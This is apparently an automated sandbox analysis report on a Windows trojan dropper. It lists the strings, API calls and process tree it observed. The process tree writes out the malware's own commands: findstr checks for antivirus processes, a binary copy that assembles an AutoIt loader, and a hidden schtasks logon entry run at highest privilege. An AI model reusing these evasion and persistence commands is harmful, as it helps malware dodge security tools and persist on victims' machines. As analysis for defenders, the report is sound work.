Source: f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	String found in binary or memory: http://secure.globalsign.com/cacert/gsgccr45evcodesignca2020.crt0?
Source: f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe, 00000000.00000003.2025611009.0000000002835000.00000004.00000020.00020000.00000000.sdmp, Flash.pif, 0000000B.00000003.2078132463.0000000003B9A000.00000004.00000800.00020000.00000000.sdmp, Flash.pif, 0000000B.00000002.3257234453.00000000039E0000.00000004.00000800.00020000.00000000.sdmp, Flash.pif, 0000000B.00000003.3247044390.00000000039D1000.00000004.00000800.00020000.00000000.sdmp, Confidentiality.0.dr, ApolloSphere.pif.11.dr, Flash.pif.2.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingsha2g2.crt0
Source: f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe, 00000000.00000003.2017160041.000000000283A000.00000004.00000020.00020000.00000000.sdmp, Flash.pif, 0000000B.00000003.2078132463.0000000003B9A000.00000004.00000800.00020000.00000000.sdmp, Flash.pif, 0000000B.00000000.2068027405.0000000000A99000.00000002.00000001.01000000.00000005.sdmp, ApolloSphere.pif, 00000010.00000002.3254047841.0000000000249000.00000002.00000001.01000000.00000008.sdmp, ApolloSphere.pif.11.dr, Flash.pif.2.dr, Parents.0.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: Flash.pif, 0000000B.00000002.3256409691.000000000141A000.00000004.00000800.00020000.00000000.sdmp, Flash.pif, 0000000B.00000002.3256254115.0000000001350000.00000004.00000800.00020000.00000000.sdmp, Flash.pif, 0000000B.00000003.3249041675.00000000030D4000.00000004.00000800.00020000.00000000.sdmp, Flash.pif, 0000000B.00000003.3249083801.000000000139B000.00000004.00000800.00020000.00000000.sdmp, Flash.pif, 0000000B.00000002.3256579902.00000000014CB000.00000004.00000800.00020000.00000000.sdmp, Flash.pif, 0000000B.00000003.3248898877.0000000001351000.00000004.00000800.00020000.00000000.sdmp, Flash.pif, 0000000B.00000003.3248832355.00000000042DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	String found in binary or memory: https://sectigo.com/CPS0
Source: f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe, 00000000.00000003.2025611009.0000000002835000.00000004.00000020.00020000.00000000.sdmp, Flash.pif, 0000000B.00000003.2078132463.0000000003B9A000.00000004.00000800.00020000.00000000.sdmp, Flash.pif, 0000000B.00000002.3257234453.00000000039E0000.00000004.00000800.00020000.00000000.sdmp, Flash.pif, 0000000B.00000003.3247044390.00000000039D1000.00000004.00000800.00020000.00000000.sdmp, Confidentiality.0.dr, ApolloSphere.pif.11.dr, Flash.pif.2.dr	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: Flash.pif.2.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe, 00000000.00000003.2025611009.0000000002835000.00000004.00000020.00020000.00000000.sdmp, Flash.pif, 0000000B.00000003.2078132463.0000000003B9A000.00000004.00000800.00020000.00000000.sdmp, Flash.pif, 0000000B.00000002.3257234453.00000000039E0000.00000004.00000800.00020000.00000000.sdmp, Flash.pif, 0000000B.00000003.3247044390.00000000039D1000.00000004.00000800.00020000.00000000.sdmp, Confidentiality.0.dr, ApolloSphere.pif.11.dr, Flash.pif.2.dr	String found in binary or memory: https://www.globalsign.com/repository/06

Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe

Code function: 0_2_004050CD GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004050CD

Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_00A44830 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,		11_2_00A44830
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_001F4830 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,		16_2_001F4830

Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif

Code function: 11_2_00A44632 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

11_2_00A44632

Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe

Code function: 0_2_004044A5 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004044A5

Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_00A5D164 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,		11_2_00A5D164
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_0020D164 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,		16_2_0020D164

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript called in batch mode (surpress errors)

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.js"

Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif

Code function: 11_2_00A342D5: CreateFileW,DeviceIoControl,CloseHandle,

11_2_00A342D5

Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif

Code function: 11_2_00A28F2E _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

11_2_00A28F2E

Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	Code function: 0_2_00403883 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,	0_2_00403883
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_00A35778 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,	11_2_00A35778
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_001E5778 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,	16_2_001E5778

Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	Code function: 0_2_0040497C	0_2_0040497C
Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	Code function: 0_2_00406ED2	0_2_00406ED2
Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	Code function: 0_2_004074BB	0_2_004074BB
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_009DB020	11_2_009DB020
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_009D94E0	11_2_009D94E0
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_009D9C80	11_2_009D9C80
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_009F23F5	11_2_009F23F5
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_00A58400	11_2_00A58400
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_00A06502	11_2_00A06502
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_009DE6F0	11_2_009DE6F0
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_00A0265E	11_2_00A0265E
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_009F282A	11_2_009F282A
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_00A089BF	11_2_00A089BF
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_00A50A3A	11_2_00A50A3A
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_00A06A74	11_2_00A06A74
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_009E0BE0	11_2_009E0BE0
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_00A2EDB2	11_2_00A2EDB2
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_009FCD51	11_2_009FCD51
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_00A50EB7	11_2_00A50EB7
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_00A38E44	11_2_00A38E44
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_00A06FE6	11_2_00A06FE6
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_009F33B7	11_2_009F33B7
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_009FF409	11_2_009FF409
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_009ED45D	11_2_009ED45D
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_009F16B4	11_2_009F16B4
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_009DF6A0	11_2_009DF6A0
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_009EF628	11_2_009EF628
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_009D1663	11_2_009D1663
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_009F78C3	11_2_009F78C3
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_009F1BA8	11_2_009F1BA8
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_009FDBA5	11_2_009FDBA5
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_00A09CE5	11_2_00A09CE5
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_009EDD28	11_2_009EDD28
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_009FBFD6	11_2_009FBFD6
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_009F1FC0	11_2_009F1FC0
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_0018B020	16_2_0018B020
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_001894E0	16_2_001894E0
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_00189C80	16_2_00189C80
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_001A23F5	16_2_001A23F5
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_00208400	16_2_00208400
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_001B6502	16_2_001B6502
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_001B265E	16_2_001B265E
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_0018E6F0	16_2_0018E6F0
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_001A282A	16_2_001A282A
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_001B89BF	16_2_001B89BF
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_00200A3A	16_2_00200A3A
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_001B6A74	16_2_001B6A74
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_00190BE0	16_2_00190BE0
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_001ACD51	16_2_001ACD51
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_001DEDB2	16_2_001DEDB2
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_001E8E44	16_2_001E8E44
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_00200EB7	16_2_00200EB7
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_001B6FE6	16_2_001B6FE6
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_001A33B7	16_2_001A33B7
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_001AF409	16_2_001AF409
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_0019D45D	16_2_0019D45D
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_0019F628	16_2_0019F628
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_00181663	16_2_00181663
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_001A16B4	16_2_001A16B4
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_0018F6A0	16_2_0018F6A0
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_001A78C3	16_2_001A78C3
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_001A1BA8	16_2_001A1BA8
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_001ADBA5	16_2_001ADBA5
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_001B9CE5	16_2_001B9CE5
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_0019DD28	16_2_0019DD28
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_001ABFD6	16_2_001ABFD6
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_001A1FC0	16_2_001A1FC0

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif 865347471135BB5459AD0E647E75A14AD91424B6F13A5C05D9ECD9183A8A1CF4
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\723582\Flash.pif 865347471135BB5459AD0E647E75A14AD91424B6F13A5C05D9ECD9183A8A1CF4

Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: String function: 009F8B30 appears 42 times
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: String function: 009E1A36 appears 34 times
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: String function: 009F0D17 appears 70 times
Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	Code function: String function: 004062A3 appears 58 times
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: String function: 00191A36 appears 34 times
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: String function: 001A8B30 appears 42 times
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: String function: 001A0D17 appears 70 times

Source: f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe

Static PE information: invalid certificate

Source: f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe, 00000000.00000003.2017160041.000000000283A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameAutoIt3.exeB vs f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe

Source: f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.evad.winEXE@30/37@2/0

Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif

Code function: 11_2_00A3A6AD GetLastError,FormatMessageW,

11_2_00A3A6AD

Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_00A28DE9 AdjustTokenPrivileges,CloseHandle,	11_2_00A28DE9
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_00A29399 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	11_2_00A29399
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_001D8DE9 AdjustTokenPrivileges,CloseHandle,	16_2_001D8DE9
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_001D9399 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	16_2_001D9399

Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe

0_2_004044A5

Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif

Code function: 11_2_00A34148 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,FindCloseChangeNotification,

11_2_00A34148

Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe

Code function: 0_2_004024FB CoCreateInstance,

0_2_004024FB

Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif

Code function: 11_2_00A3443D __swprintf,__swprintf,FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx,

11_2_00A3443D

Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif

File created: C:\Users\user\AppData\Local\EduTech Dynamics

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2464:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6540:120:WilError_03

Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe

File created: C:\Users\user\AppData\Local\Temp\nslC0B5.tmp

Jump to behavior

Source: f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe

ReversingLabs: Detection: 66%

Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe

File read: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe "C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe"
Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k copy Surgeons Surgeons.cmd & Surgeons.cmd & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa.exe opssvc.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "avastui.exe avgui.exe bdservicehost.exe nswscsvc.exe sophoshealth.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 723582
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "wagemissileaffiliatesgreeting" Fisting
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b Restriction + Manager + Screw + Anchor 723582\r
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\723582\Flash.pif 723582\Flash.pif 723582\r
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 15
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "ApolloSphere" /tr "wscript //B 'C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.js'" /sc onlogon /F /RL HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif "C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif" "C:\Users\user\AppData\Local\EduTech Dynamics\L"
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Process created: C:\Users\user\AppData\Local\Temp\723582\RegAsm.exe C:\Users\user\AppData\Local\Temp\723582\RegAsm.exe
Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k copy Surgeons Surgeons.cmd & Surgeons.cmd & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa.exe opssvc.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "avastui.exe avgui.exe bdservicehost.exe nswscsvc.exe sophoshealth.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 723582	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "wagemissileaffiliatesgreeting" Fisting	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b Restriction + Manager + Screw + Anchor 723582\r	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\723582\Flash.pif 723582\Flash.pif 723582\r	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 15	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "ApolloSphere" /tr "wscript //B 'C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.js'" /sc onlogon /F /RL HIGHEST	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Process created: C:\Users\user\AppData\Local\Temp\723582\RegAsm.exe C:\Users\user\AppData\Local\Temp\723582\RegAsm.exe	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif "C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif" "C:\Users\user\AppData\Local\EduTech Dynamics\L"	Jump to behavior

Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	Section loaded: urlmon.dll	Jump to behavior
